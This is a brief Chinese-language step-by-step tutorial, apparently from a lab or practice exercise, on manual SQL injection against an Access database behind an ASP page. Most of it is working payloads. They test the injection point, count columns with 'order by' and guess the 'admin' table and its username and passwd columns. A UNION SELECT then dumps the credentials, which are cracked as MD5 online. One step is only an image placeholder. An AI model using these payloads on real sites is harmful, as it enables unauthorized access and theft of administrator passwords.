Access數(shù)據(jù)庫的SQL手工注入,用聯(lián)合語句顯示可顯字段時,必須要“from 表名”。
1、判斷注入點(diǎn)。
/new_list.asp?id=1 and 1=1訪問成功;/new_list.asp?id=2 and 1=2訪問失敗。

2、判斷列的情況。
order by x,x=1、2、3、4時成功,5、6時失敗。
/new_list.asp?id=2 order by 4;
3、測試關(guān)鍵表名,因?yàn)锳ccess用聯(lián)合語句顯示可顯字段時,必須要“from 表名”,所以需要先猜表名。通常access數(shù)據(jù)庫都有admin表;
and exists(select count(*) from admin),頁面返回正常,說明存在admin表。

4、 查找回顯字段。

image.png
5、枚舉字段:正常則頁面不報錯;通常access表會存在以下三個字段;
id,username,passwd或者password
id=1 and exists(select id from admin) //頁面返回正常,說明存在id列 id=1 and exists(select username from admin) //頁面返回正常,說明存在username列 id=1 and exists(select passwd from admin) //頁面返回正常,說明存在passwd列

6、查詢用戶和密碼。
/new_list.asp?id= 1%20 union select 1,username,passwd,4 from admin

7、MD5網(wǎng)站解碼成功。
